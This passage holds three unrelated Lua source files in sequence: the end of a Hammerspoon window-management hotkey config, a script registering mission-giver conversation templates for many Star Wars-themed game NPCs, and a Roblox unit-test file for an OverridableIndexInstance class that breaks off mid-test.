win:screen() cell = hs.grid.get(win, screen) cell.w = ( fullWidth / 2 ) cell.h = fullHeight cell.x = ( fullWidth / 2 ) cell.y = 0 hs.grid.set(win, cell, screen) end end function throwLeft() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() win:moveOneScreenWest(); local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.w = fullWidth cell.h = fullHeight cell.x = 0 cell.y = 0 hs.grid.set(win, cell, screen) end end function throwRight() if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() win:moveOneScreenEast(); local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) cell.w = fullWidth cell.h = fullHeight cell.x = 0 cell.y = 0 hs.grid.set(win, cell, screen) end end function fullDimension(dim) if hs.window.focusedWindow() then local win = hs.window.frontmostWindow() local id = win:id() local screen = win:screen() cell = hs.grid.get(win, screen) if (dim == 'x') then cell = '0,0 ' .. GRID.w .. 'x' .. GRID.h else cell[dim] = GRID[dim] cell[dim == 'w' and 'x' or 'y'] = 0 end hs.grid.set(win, cell, screen) end end hs.hotkey.bind(hyperalt, "1", function () centerOnly() end) hs.hotkey.bind(hyperalt, "3", function () center() end) hs.hotkey.bind(hyperalt, "4", function () centerWide() end) -- Something is blocking ctrl+4 -- Switching to the key right below it, r, instead. hs.hotkey.bind(hyper, "r", function () left() end) hs.hotkey.bind(hyper, "5", function () full() end) hs.hotkey.bind(hyper, "6", function () right() end) hs.hotkey.bind(hyper, "7", function () top() end) hs.hotkey.bind(hyper, "9", function () bottom() end) hs.hotkey.bind(mash, "left", function () throwLeft() end) hs.hotkey.bind(mash, "right", function () throwRight() end) -- Show dimensions -- Dev function - Disabled --hs.hotkey.bind(hyper, "i", function () -- local win = hs.window.frontmostWindow() -- local id = win:id() -- local screen = win:screen() -- cell = hs.grid.get(win, screen) -- another = hs.grid.get(win, screen) -- hs.alert.show(another) --end)
function createMissionGiverConvoTemplate(templateName, convoHandler) mission_giver_convotemplate = ConvoTemplate:new { initialScreen = "init", templateType = "Lua", luaClassHandler = convoHandler, screens = {} } mission_giver_init = ConvoScreen:new { id = "init", leftDialog = "", stopConversation = "false", options = { } } mission_giver_convotemplate:addScreen(mission_giver_init); mission_giver_failure = ConvoScreen:new { id = "failure", leftDialog = "", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_failure); mission_giver_no_faction = ConvoScreen:new { id = "no_faction", leftDialog = "", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_no_faction); mission_giver_cant_work = ConvoScreen:new { id = "cant_work", leftDialog = ":cant_work", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_cant_work); mission_giver_invfull = ConvoScreen:new { id = "inv_full", leftDialog = "", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_invfull); mission_giver_too_weak = ConvoScreen:new { id = "too_weak", leftDialog = "", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_too_weak); mission_giver_next = ConvoScreen:new { id = "next", leftDialog = ":next", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_next); mission_giver_notyet = ConvoScreen:new { id = "notyet", leftDialog = ":notyet", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_notyet); mission_giver_notit_n = ConvoScreen:new { id = "notit_n", leftDialog = ":notit_1", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_notit_n); mission_giver_npc_1_n = ConvoScreen:new { id = "npc_1_n", leftDialog = ":npc_1_1", stopConversation = "false", options = { { ":player_1_1", "accept" }, { ":player_2_1", "npc_3_n" }, { ":player_3_1", "npc_4_n" }, { ":player_4_1", "npc_5_n" }, { ":player_5_1", "npc_6_n" } } } mission_giver_convotemplate:addScreen(mission_giver_npc_1_n); mission_giver_accept = ConvoScreen:new { id = "accept", leftDialog = "", stopConversation = "false", options = { } } mission_giver_convotemplate:addScreen(mission_giver_accept); mission_giver_npc_2_n = ConvoScreen:new { id = "npc_2_n", leftDialog = ":npc_2_1", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_npc_2_n); mission_giver_npc_noloc_n = ConvoScreen:new { id = "npc_noloc_n", leftDialog = ":npc_noloc_1", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_npc_noloc_n); mission_giver_npc_3_n = ConvoScreen:new { id = "npc_3_n", leftDialog = ":npc_3_1", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_npc_3_n); mission_giver_npc_4_n = ConvoScreen:new { id = "npc_4_n", leftDialog = ":npc_4_1", stopConversation = "false", options = { { ":player_1_1", "accept" }, { ":player_2_1", "npc_3_n" }, { ":player_4_1", "npc_5_n" }, { ":player_5_1", "npc_6_n" } } } mission_giver_convotemplate:addScreen(mission_giver_npc_4_n); mission_giver_npc_5_n = ConvoScreen:new { id = "npc_5_n", leftDialog = ":npc_5_1", stopConversation = "false", options = { { ":player_1_1", "accept" }, { ":player_2_1", "npc_3_n" }, { ":player_3_1", "npc_4_n" }, { ":player_5_1", "npc_6_n" } } } mission_giver_convotemplate:addScreen(mission_giver_npc_5_n); mission_giver_npc_6_n = ConvoScreen:new { id = "npc_6_n", leftDialog = ":npc_6_1", stopConversation = "false", options = { { ":player_1_1", "accept" }, { ":player_2_1", "npc_3_n" }, { ":player_3_1", "npc_4_n" }, { ":player_4_1", "npc_5_n" } } } mission_giver_convotemplate:addScreen(mission_giver_npc_6_n); mission_giver_status = ConvoScreen:new { id = "status", leftDialog = "", stopConversation = "false", options = { } } mission_giver_convotemplate:addScreen(mission_giver_status); mission_giver_npc_work_n = ConvoScreen:new { id = "npc_work_n", leftDialog = ":npc_work_1", stopConversation = "false", options = { { ":player_reset_1", "npc_reset_n" }, { ":player_sorry_1", "npc_backtowork_n" } } } mission_giver_convotemplate:addScreen(mission_giver_npc_work_n); mission_giver_npc_reset_n = ConvoScreen:new { id = "npc_reset_n", leftDialog = ":npc_reset_1", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_npc_reset_n); mission_giver_npc_reset = ConvoScreen:new { id = "npc_reset", leftDialog = ":npc_reset", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_npc_reset); mission_giver_npc_backtowork_n = ConvoScreen:new { id = "npc_backtowork_n", leftDialog = ":npc_backtowork_1", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_npc_backtowork_n); mission_giver_npc_backtowork = ConvoScreen:new { id = "npc_backtowork", leftDialog = ":npc_backtowork", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_npc_backtowork); mission_giver_npc_reward_n = ConvoScreen:new { id = "npc_reward_n", leftDialog = ":npc_reward_1", stopConversation = "true", options = { } } mission_giver_convotemplate:addScreen(mission_giver_npc_reward_n); mission_giver_quit_quest = ConvoScreen:new { id = "quit_quest", leftDialog = "@static_npc/default_dialog:quit_quest", -- I can see that you're busy working for someone else at the moment. Would you like to continue to do so, or would you like to work for me instead? stopConversation = "false", options = { { "@static_npc/default_dialog:player_quit", "npc_quit" }, -- I think I'd like to work for you. { "@static_npc/default_dialog:player_continue", "npc_continue" } -- No, I think I'll keep my current job, thanks. } } mission_giver_convotemplate:addScreen(mission_giver_quit_quest); mission_giver_npc_quit = ConvoScreen:new { id = "npc_quit", leftDialog = "@static_npc/default_dialog:npc_quit", -- Fine. You are now free of your prior obligation, and you can freely work for me. stopConversation = "true", options = {} } mission_giver_convotemplate:addScreen(mission_giver_npc_quit); mission_giver_npc_continue = ConvoScreen:new { id = "npc_continue", leftDialog = "@static_npc/default_dialog:npc_continue", -- Fine then. Don't bother with me until you're ready to work for me. stopConversation = "true", options = {} } mission_giver_convotemplate:addScreen(mission_giver_npc_continue); addConversationTemplate(templateName, mission_giver_convotemplate); end -- Themeparks createMissionGiverConvoTemplate("theme_park_imperial_mission_giver_convotemplate", "theme_park_imperial_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_jabba_mission_giver_convotemplate", "theme_park_jabba_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_marauder_charal_mission_giver_convotemplate", "theme_park_marauder_charal_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_marauder_raglith_jorak_mission_giver_convotemplate", "theme_park_marauder_raglith_jorak_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_marauder_szingo_terak_mission_giver_convotemplate", "theme_park_marauder_szingo_terak_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_rebel_mission_giver_convotemplate", "theme_park_rebel_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_valarian_mission_giver_convotemplate", "theme_park_valarian_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_nightsister_mission_giver_convotemplate", "theme_park_nightsister_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_smc_zideera_mission_giver_convotemplate", "theme_park_smc_zideera_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_smc_vhaunda_izaryx_mission_giver_convotemplate", "theme_park_smc_vhaunda_izaryx_mission_giver_conv_handler") createMissionGiverConvoTemplate("theme_park_smc_vurlene_aujante_mission_giver_convotemplate", "theme_park_smc_vurlene_aujante_mission_giver_conv_handler") -- Generic createMissionGiverConvoTemplate("generic_businessman_mission_giver_convotemplate", "generic_businessman_mission_giver_conv_handler") createMissionGiverConvoTemplate("generic_criminal_mission_giver_convotemplate", "generic_criminal_mission_giver_conv_handler") createMissionGiverConvoTemplate("generic_noble_mission_giver_convotemplate", "generic_noble_mission_giver_conv_handler") createMissionGiverConvoTemplate("generic_scientist_mission_giver_convotemplate", "generic_scientist_mission_giver_conv_handler") -- Epic Quest Chains createMissionGiverConvoTemplate("krayt_dragon_skull_mission_giver_convotemplate", "krayt_dragon_skull_mission_giver_conv_handler") createMissionGiverConvoTemplate("zicx_bug_bomb_mission_giver_convotemplate", "zicx_bug_bomb_mission_giver_conv_handler") --Corellia createMissionGiverConvoTemplate("blk_sun_tasks_mission_giver_convotemplate","blk_sun_tasks_mission_giver_conv_handler") createMissionGiverConvoTemplate("chertyl_ruluwoor_mission_giver_convotemplate","chertyl_ruluwoor_mission_giver_conv_handler") createMissionGiverConvoTemplate("coraline_dynes_mission_giver_convotemplate","coraline_dynes_mission_giver_conv_handler") createMissionGiverConvoTemplate("corran_horn_mission_giver_convotemplate","corran_horn_mission_giver_conv_handler") createMissionGiverConvoTemplate("crev_bombaasa_mission_giver_convotemplate","crev_bombaasa_mission_giver_conv_handler") createMissionGiverConvoTemplate("dalla_solo_mission_giver_convotemplate","dalla_solo_mission_giver_conv_handler") createMissionGiverConvoTemplate("dannik_malaan_mission_giver_convotemplate","dannik_malaan_mission_giver_conv_handler") createMissionGiverConvoTemplate("denell_kel_vannon_mission_giver_convotemplate","denell_kel_vannon_mission_giver_conv_handler") createMissionGiverConvoTemplate("didina_lippinoss_mission_giver_convotemplate","didina_lippinoss_mission_giver_conv_handler") createMissionGiverConvoTemplate("diktatGiverConvo","diktatGiverHandler") createMissionGiverConvoTemplate("garm_bel_iblis_mission_giver_convotemplate","garm_bel_iblis_mission_giver_conv_handler") createMissionGiverConvoTemplate("gilad_pellaeon_mission_giver_convotemplate","gilad_pellaeon_mission_giver_conv_handler") createMissionGiverConvoTemplate("gilker_budz_mission_giver_convotemplate","gilker_budz_mission_giver_conv_handler") createMissionGiverConvoTemplate("ging_darjeek_mission_giver_convotemplate","ging_darjeek_mission_giver_conv_handler") createMissionGiverConvoTemplate("grondorn_muse_mission_giver_convotemplate","grondorn_muse_mission_giver_conv_handler") createMissionGiverConvoTemplate("hal_horn_mission_giver_convotemplate","hal_horn_mission_giver_conv_handler") createMissionGiverConvoTemplate("ignar_ominaz_mission_giver_convotemplate","ignar_ominaz_mission_giver_conv_handler") createMissionGiverConvoTemplate("jadam_questrel_mission_giver_convotemplate","jadam_questrel_mission_giver_conv_handler") createMissionGiverConvoTemplate("joz_jodhul_mission_giver_convotemplate","joz_jodhul_mission_giver_conv_handler") createMissionGiverConvoTemplate("kirkin_liawoon_mission_giver_convotemplate","kirkin_liawoon_mission_giver_conv_handler") createMissionGiverConvoTemplate("lady_hutt_mission_giver_convotemplate","lady_hutt_mission_giver_conv_handler") createMissionGiverConvoTemplate("luthin_dlunar_mission_giver_convotemplate","luthin_dlunar_mission_giver_conv_handler") createMissionGiverConvoTemplate("noren_krast_mission_giver_convotemplate","noren_krast_mission_giver_conv_handler") createMissionGiverConvoTemplate("palejo_reshad_mission_giver_convotemplate","palejo_reshad_mission_giver_conv_handler") createMissionGiverConvoTemplate("scolex_grath_mission_giver_convotemplate","scolex_grath_mission_giver_conv_handler") createMissionGiverConvoTemplate("serjix_arrogantus_mission_giver_convotemplate","serjix_arrogantus_mission_giver_conv_handler") createMissionGiverConvoTemplate("skinkner_mission_giver_convotemplate","skinkner_mission_giver_conv_handler") createMissionGiverConvoTemplate("thrackan_sal_solo_mission_giver_convotemplate","thrackan_sal_solo_mission_giver_conv_handler") createMissionGiverConvoTemplate("venthan_chassu_mission_giver_convotemplate","venthan_chassu_mission_giver_conv_handler") createMissionGiverConvoTemplate("viceprex_tasks_mission_giver_convotemplate","viceprex_tasks_mission_giver_conv_handler") createMissionGiverConvoTemplate("zakarisz_ghent_mission_giver_convotemplate","zakarisz_ghent_mission_giver_conv_handler") -- Dantooine createMissionGiverConvoTemplate("drakka_judarrl_mission_giver_convotemplate", "drakka_judarrl_mission_giver_conv_handler") createMissionGiverConvoTemplate("jatrian_lytus_mission_giver_convotemplate", "jatrian_lytus_mission_giver_conv_handler") createMissionGiverConvoTemplate("kelvus_naria_mission_giver_convotemplate", "kelvus_naria_mission_giver_conv_handler") createMissionGiverConvoTemplate("luthik_uwyr_mission_giver_convotemplate","luthik_uwyr_mission_giver_conv_handler") createMissionGiverConvoTemplate("lx_466_mission_giver_convotemplate", "lx_466_mission_giver_conv_handler") createMissionGiverConvoTemplate("sg_567_mission_giver_convotemplate", "sg_567_mission_giver_conv_handler") createMissionGiverConvoTemplate("stoos_olko_mission_giver_convotemplate", "stoos_olko_mission_giver_conv_handler") createMissionGiverConvoTemplate("xaan_talmaron_mission_giver_convotemplate","xaan_talmaron_mission_giver_conv_handler") --Dathomir createMissionGiverConvoTemplate("dolac_legasi_mission_giver_convotemplate", "dolac_legasi_mission_giver_conv_handler") createMissionGiverConvoTemplate("shaki_hamachil_mission_giver_convotemplate", "shaki_hamachil_mission_giver_conv_handler") createMissionGiverConvoTemplate("shibb_nisshil_mission_giver_convotemplate", "shibb_nisshil_mission_giver_conv_handler") createMissionGiverConvoTemplate("singular_nak_mission_giver_convotemplate", "singular_nak_mission_giver_conv_handler") createMissionGiverConvoTemplate("wallaw_loowobbli_mission_giver_convotemplate", "wallaw_loowobbli_mission_giver_conv_handler") createMissionGiverConvoTemplate("warden_vinzel_haylon_mission_giver_convotemplate", "warden_vinzel_haylon_mission_giver_conv_handler") createMissionGiverConvoTemplate("xarot_korlin_mission_giver_convotemplate", "xarot_korlin_mission_giver_conv_handler") -- Naboo createMissionGiverConvoTemplate("arrek_von_sarko_mission_giver_convotemplate", "arrek_von_sarko_mission_giver_conv_handler") createMissionGiverConvoTemplate("arven_wendik_mission_giver_convotemplate", "arven_wendik_mission_giver_conv_handler") createMissionGiverConvoTemplate("athok_dinvar_mission_giver_convotemplate", "athok_dinvar_mission_giver_conv_handler") createMissionGiverConvoTemplate("bab_esrus_mission_giver_convotemplate", "bab_esrus_mission_giver_conv_handler") createMissionGiverConvoTemplate("bardo_klinj_mission_giver_convotemplate", "bardo_klinj_mission_giver_conv_handler") createMissionGiverConvoTemplate("boss_nass_mission_giver_convotemplate", "boss_nass_mission_giver_conv_handler") createMissionGiverConvoTemplate("brass_marshoo_mission_giver_convotemplate", "brass_marshoo_mission_giver_conv_handler") createMissionGiverConvoTemplate("brennis_doore_mission_giver_convotemplate", "brennis_doore_mission_giver_conv_handler") createMissionGiverConvoTemplate("damalia_korde_mission_giver_convotemplate", "damalia_korde_mission_giver_conv_handler") createMissionGiverConvoTemplate("dilvin_lormurojo_mission_giver_convotemplate", "dilvin_lormurojo_mission_giver_conv_handler") createMissionGiverConvoTemplate("ebenn_q3_baobab_mission_giver_convotemplate", "ebenn_q3_baobab_mission_giver_conv_handler") createMissionGiverConvoTemplate("gavyn_sykes_mission_giver_convotemplate", "gavyn_sykes_mission_giver_conv_handler") createMissionGiverConvoTemplate("huff_zinga_mission_giver_convotemplate", "huff_zinga_mission_giver_conv_handler") createMissionGiverConvoTemplate("kima_nazith_mission_giver_convotemplate", "kima_nazith_mission_giver_conv_handler") createMissionGiverConvoTemplate("kritus_morven_mission_giver_convotemplate", "kritus_morven_mission_giver_conv_handler") createMissionGiverConvoTemplate("lareen_dantara_mission_giver_convotemplate", "lareen_dantara_mission_giver_conv_handler") createMissionGiverConvoTemplate("leb_slesher_mission_giver_convotemplate", "leb_slesher_mission_giver_conv_handler") createMissionGiverConvoTemplate("lergo_brazee_mission_giver_convotemplate", "lergo_brazee_mission_giver_conv_handler") createMissionGiverConvoTemplate("lob_dizz_mission_giver_convotemplate", "lob_dizz_mission_giver_conv_handler") createMissionGiverConvoTemplate("mullud_bombo_mission_giver_convotemplate", "mullud_bombo_mission_giver_conv_handler") createMissionGiverConvoTemplate("palo_mission_giver_convotemplate", "palo_mission_giver_conv_handler") createMissionGiverConvoTemplate("pooja_naberrie_mission_giver_convotemplate", "pooja_naberrie_mission_giver_conv_handler") createMissionGiverConvoTemplate("radanthus_mandelatara_mission_giver_convotemplate", "radanthus_mandelatara_mission_giver_conv_handler") createMissionGiverConvoTemplate("rep_been_mission_giver_convotemplate", "rep_been_mission_giver_conv_handler") createMissionGiverConvoTemplate("rovim_minnoni_mission_giver_convotemplate", "rovim_minnoni_mission_giver_conv_handler") createMissionGiverConvoTemplate("tamvar_senzen_mission_giver_convotemplate", "tamvar_senzen_mission_giver_conv_handler") createMissionGiverConvoTemplate("vana_sage_mission_giver_convotemplate", "vana_sage_mission_giver_conv_handler") --Rori createMissionGiverConvoTemplate("ajuva_vanasterin_mission_giver_convotemplate","ajuva_vanasterin_mission_giver_conv_handler") createMissionGiverConvoTemplate("biribas_tarun_mission_giver_convotemplate","biribas_tarun_mission_giver_conv_handler") createMissionGiverConvoTemplate("booto_lubble_mission_giver_convotemplate","booto_lubble_mission_giver_conv_handler") createMissionGiverConvoTemplate("draya_korbinari_mission_giver_convotemplate","draya_korbinari_mission_giver_conv_handler") createMissionGiverConvoTemplate("hefsen_zindalai_mission_giver_convotemplate","hefsen_zindalai_mission_giver_conv_handler") createMissionGiverConvoTemplate("indintra_imbru_yerevan_mission_giver_convotemplate","indintra_imbru_yerevan_mission_giver_conv_handler") createMissionGiverConvoTemplate("jaleela_bindoo_mission_giver_convotemplate","jaleela_bindoo_mission_giver_conv_handler") createMissionGiverConvoTemplate("magur_torigai_mission_giver_convotemplate","magur_torigai_mission_giver_conv_handler") createMissionGiverConvoTemplate("oxil_sarban_mission_giver_convotemplate","oxil_sarban_mission_giver_conv_handler") createMissionGiverConvoTemplate("raxa_binn_mission_giver_convotemplate","raxa_binn_mission_giver_conv_handler") createMissionGiverConvoTemplate("sidoras_bey_mission_giver_convotemplate","sidoras_bey_mission_giver_conv_handler") createMissionGiverConvoTemplate("sindra_lintikoor_mission_giver_convotemplate","sindra_lintikoor_mission_giver_conv_handler") createMissionGiverConvoTemplate("sloan_rusper_mission_giver_convotemplate","sloan_rusper_mission_giver_conv_handler") createMissionGiverConvoTemplate("vordin_sildor_mission_giver_convotemplate","vordin_sildor_mission_giver_conv_handler") createMissionGiverConvoTemplate("zeelius_kraymunder_mission_giver_convotemplate","zeelius_kraymunder_mission_giver_conv_handler") -- Talus createMissionGiverConvoTemplate("champhra_biahin_mission_giver_convotemplate", "champhra_biahin_mission_giver_conv_handler") createMissionGiverConvoTemplate("durgur_pyne_mission_giver_convotemplate", "durgur_pyne_mission_giver_conv_handler") createMissionGiverConvoTemplate("gravin_attal_mission_giver_convotemplate", "gravin_attal_mission_giver_conv_handler") createMissionGiverConvoTemplate("green_laser_mission_giver_convotemplate", "green_laser_mission_giver_conv_handler") createMissionGiverConvoTemplate("haleen_snowline_hagrin_zeed_mission_giver_convotemplate", "haleen_snowline_hagrin_zeed_mission_giver_conv_handler") createMissionGiverConvoTemplate("igbi_freemo_mission_giver_convotemplate", "igbi_freemo_mission_giver_conv_handler") createMissionGiverConvoTemplate("jusani_zhord_mission_giver_convotemplate", "jusani_zhord_mission_giver_conv_handler") createMissionGiverConvoTemplate("kathikiis_ruwahurr_mission_giver_convotemplate", "kathikiis_ruwahurr_mission_giver_conv_handler") createMissionGiverConvoTemplate("lethin_bludder_mission_giver_convotemplate", "lethin_bludder_mission_giver_conv_handler") createMissionGiverConvoTemplate("mourno_draver_mission_giver_convotemplate", "mourno_draver_mission_giver_conv_handler") createMissionGiverConvoTemplate("nurla_slinthiss_mission_giver_convotemplate", "nurla_slinthiss_mission_giver_conv_handler") createMissionGiverConvoTemplate("radlee_mathiss_mission_giver_convotemplate", "radlee_mathiss_mission_giver_conv_handler") createMissionGiverConvoTemplate("sigrix_slix_mission_giver_convotemplate", "sigrix_slix_mission_giver_conv_handler") createMissionGiverConvoTemplate("slooni_jong_mission_giver_convotemplate", "slooni_jong_mission_giver_conv_handler") createMissionGiverConvoTemplate("xalox_guul_mission_giver_convotemplate", "xalox_guul_mission_giver_conv_handler") -- Tatooine createMissionGiverConvoTemplate("aaph_koden_mission_giver_convotemplate", "aaph_koden_mission_giver_conv_handler") createMissionGiverConvoTemplate("blerx_tango_mission_giver_convotemplate", "blerx_tango_mission_giver_conv_handler") createMissionGiverConvoTemplate("bren_kingal_mission_giver_convotemplate", "bren_kingal_mission_giver_conv_handler") createMissionGiverConvoTemplate("farious_gletch_mission_giver_convotemplate", "farious_gletch_mission_giver_conv_handler") createMissionGiverConvoTemplate("fixer_mission_giver_convotemplate", "fixer_mission_giver_conv_handler") createMissionGiverConvoTemplate("gramm_rile_mission_giver_convotemplate", "gramm_rile_mission_giver_conv_handler") createMissionGiverConvoTemplate("hedon_istee_mission_giver_convotemplate", "hedon_istee_mission_giver_conv_handler") createMissionGiverConvoTemplate("ikka_gesul_mission_giver_convotemplate", "ikka_gesul_mission_giver_conv_handler") createMissionGiverConvoTemplate("jilljoo_jab_mission_giver_convotemplate", "jilljoo_jab_mission_giver_conv_handler") createMissionGiverConvoTemplate("kaeline_ungasan_mission_giver_convotemplate", "kaeline_ungasan_mission_giver_conv_handler") createMissionGiverConvoTemplate("kitster_banai_mission_giver_convotemplate", "kitster_banai_mission_giver_conv_handler") createMissionGiverConvoTemplate("kormund_thrylle_mission_giver_convotemplate", "kormund_thrylle_mission_giver_conv_handler") createMissionGiverConvoTemplate("lorne_prestar_mission_giver_convotemplate", "lorne_prestar_mission_giver_conv_handler") createMissionGiverConvoTemplate("lt_harburik_mission_giver_convotemplate", "lt_harburik_mission_giver_conv_handler") createMissionGiverConvoTemplate("mat_rags_mission_giver_convotemplate", "mat_rags_mission_giver_conv_handler") createMissionGiverConvoTemplate("melios_purl_mission_giver_convotemplate", "melios_purl_mission_giver_conv_handler") createMissionGiverConvoTemplate("nitra_vendallan_mission_giver_convotemplate", "nitra_vendallan_mission_giver_conv_handler") createMissionGiverConvoTemplate("om_aynat_mission_giver_convotemplate", "om_aynat_mission_giver_conv_handler") createMissionGiverConvoTemplate("pfilbee_jhorn_mission_giver_convotemplate", "pfilbee_jhorn_mission_giver_conv_handler") createMissionGiverConvoTemplate("phinea_shantee_mission_giver_convotemplate", "phinea_shantee_mission_giver_conv_handler") createMissionGiverConvoTemplate("prefect_talmont_mission_giver_convotemplate", "prefect_talmont_mission_giver_conv_handler") createMissionGiverConvoTemplate("rakir_banai_mission_giver_convotemplate", "rakir_banai_mission_giver_conv_handler") createMissionGiverConvoTemplate("stella_mission_giver_convotemplate", "stella_mission_giver_conv_handler") createMissionGiverConvoTemplate("tekil_barje_mission_giver_convotemplate", "tekil_barje_mission_giver_conv_handler") createMissionGiverConvoTemplate("tolan_nokkar_mission_giver_convotemplate", "tolan_nokkar_mission_giver_conv_handler") createMissionGiverConvoTemplate("vardias_tyne_mission_giver_convotemplate", "vardias_tyne_mission_giver_conv_handler") --Yavin4 createMissionGiverConvoTemplate("captain_eso_mission_giver_convotemplate","captain_eso_mission_giver_conv_handler") createMissionGiverConvoTemplate("cx_425_trooper_mission_giver_convotemplate","cx_425_trooper_mission_giver_conv_handler") createMissionGiverConvoTemplate("gins_darone_mission_giver_convotemplate","gins_darone_mission_giver_conv_handler") createMissionGiverConvoTemplate("jazeen_thurmm_mission_giver_convotemplate","jazeen_thurmm_mission_giver_conv_handler") createMissionGiverConvoTemplate("lian_byrne_mission_giver_convotemplate","lian_byrne_mission_giver_conv_handler") createMissionGiverConvoTemplate("megan_drlar_mission_giver_convotemplate","megan_drlar_mission_giver_conv_handler") createMissionGiverConvoTemplate("ruwan_tokai_mission_giver_convotemplate","ruwan_tokai_mission_giver_conv_handler") createMissionGiverConvoTemplate("vraker_orde_mission_giver_convotemplate","vraker_orde_mission_giver_conv_handler") createMissionGiverConvoTemplate("yith_seenath_mission_giver_convotemplate","yith_seenath_mission_giver_conv_handler")
--[[ TheNexusAvenger Tests the OverridableIndexInstance class. --]] local NexusUnitTesting = require("NexusUnitTesting") local NexusPluginFramework = require(game:GetService("ReplicatedStorage"):WaitForChild("NexusPluginFramework")) local OverridableIndexInstance = NexusPluginFramework:GetResource("Base.OverridableIndexInstance") --[[ Test that the constructor works without failing. --]] NexusUnitTesting:RegisterUnitTest("Constructor",function(UnitTest) local CuT = OverridableIndexInstance.new() UnitTest:AssertEquals(CuT.ClassName,"OverridableIndexInstance","Class name is incorrect.") end) --[[ Test overriding the __getindex method. --]] NexusUnitTesting:RegisterUnitTest("__getindex",function(UnitTest) local Table1,Table2,Table3 = {},{},{} --Create the test class. local TestClass = OverridableIndexInstance:Extend() TestClass.Table5 = true TestClass.Table6 = true function TestClass:__getindex(Index,BaseIndex) if Index == "Table1" then return Table1 elseif Index == "Table2" then return Table2 elseif Index == "Table3" then return Table3 elseif Index == "Table4" then return nil,true elseif Index == "Table5" then return nil elseif Index == "Table6" then return tostring(BaseIndex) end end --Assert the indexes are correct. local CuT = TestClass.new() UnitTest:AssertEquals(CuT.ClassName,"OverridableIndexInstance","Class name is incorrect.") UnitTest:AssertEquals(CuT.Table1,Table1,"Override is incorrect.") UnitTest:AssertEquals(CuT.Table2,Table2,"Override is incorrect.") UnitTest:AssertEquals(CuT.Table3,Table3,"Override is incorrect.") UnitTest:AssertEquals(CuT.Table4,nil,"Override is incorrect.") UnitTest:AssertEquals(CuT.Table5,true,"Override is incorrect.") UnitTest:AssertEquals(CuT.Table6,"true","Override is incorrect.") end) --[[ Tests the __setindex method. --]] NexusUnitTesting:RegisterUnitTest("__setindex",function(UnitTest) --Create the test class. local TestClass = OverridableIndexInstance:Extend() TestClass.ClassName = "Test" function TestClass:__setindex(IndexName,NewValue) return "String_"..tostring(IndexName).."_"..tostring(NewValue) end --Assert setting indexs are correct. local CuT = TestClass.new() CuT.Index1 = 1 CuT.Index2 = 2 CuT.Index3 = 3 UnitTest:AssertEquals(CuT.Index1,"String_Index1_1","Override is incorrect.") UnitTest:AssertEquals(CuT.Index2,"String_Index2_2","Override is incorrect.") UnitTest:AssertEquals(CuT.Index3,"String_Index3_3","Override is incorrect.") CuT.Index1 = 4 CuT.Index2 = 5 CuT.Index3 = 6 UnitTest:AssertEquals(CuT.Index1,"String_Index1_4","Override is incorrect.") UnitTest:AssertEquals(CuT.Index2,"String_Index2_5","Override is incorrect.") UnitTest:AssertEquals(CuT.Index3,"String_Index3_6","Override is incorrect.") end) --[[ Tests the __rawget method. --]] NexusUnitTesting:RegisterUnitTest("__rawget",function(UnitTest) --Create the test class. local TestClass = OverridableIndexInstance:Extend() TestClass.Index1 = 1 TestClass.Index2 = 2 function TestClass:__getindex(Index,BaseIndex) if Index == "Index1" then return 4 elseif Index == "Index2" then return nil,true elseif Index == "Index3" then return 6 end end --Assert the indexes are correct. local CuT = TestClass.new() UnitTest:AssertEquals(CuT.Index1,4,"Override is incorrect.") UnitTest:AssertEquals(CuT.Index2,nil,"Override is incorrect.") UnitTest:AssertEquals(CuT.Index3,6,"Override is incorrect.") UnitTest:AssertEquals(CuT:__rawget("Index1"),1,"Raw get is incorrect.") UnitTest:AssertEquals(CuT:__rawget("Index2"),2,"Raw get is incorrect.") UnitTest:AssertEquals(CuT:__rawget("Index3"),nil,"Raw get is incorrect.") end) --[[ Tests extending the OverridableIndexInstance. --]] NexusUnitTesting:RegisterUnitTest("Extending",function(UnitTest) --Extend the class. local TestClass = OverridableIndexInstance:Extend() TestClass.TestProperty1 = "Test 1" function TestClass:__getindex(Index,BaseIndex) if Index == "TestProperty1" then UnitTest:AssertEquals(BaseIndex,"Test 1","Class test property is incorrect.") end end --Create the component under testing. local CuT = TestClass.new() CuT.TestProperty2 = "Test 2" UnitTest:AssertEquals(CuT.TestProperty1,"Test 1","Class property is incorrect.") UnitTest:AssertEquals(CuT.TestProperty2,"Test 2","Object property is incorrect.") end) --[[ Tests referencing self in __getindex. --]] NexusUnitTesting:RegisterUnitTest("ReferenceWithinGetindex",function(UnitTest) --Extend the class. local TextClass = OverridableIndexInstance:Extend() function TextClass:__getindex(IndexName,OriginalReturn) if IndexName == "TestProperty1" then return "Test 1" elseif IndexName == "TestProperty2" then return "Test 2" end end --Create the component under testing. local CuT = TextClass.new() UnitTest:AssertEquals(CuT.TestProperty1,"Test 1","Test property is incorrect.") UnitTest:AssertEquals(CuT.TestProperty2,"Test 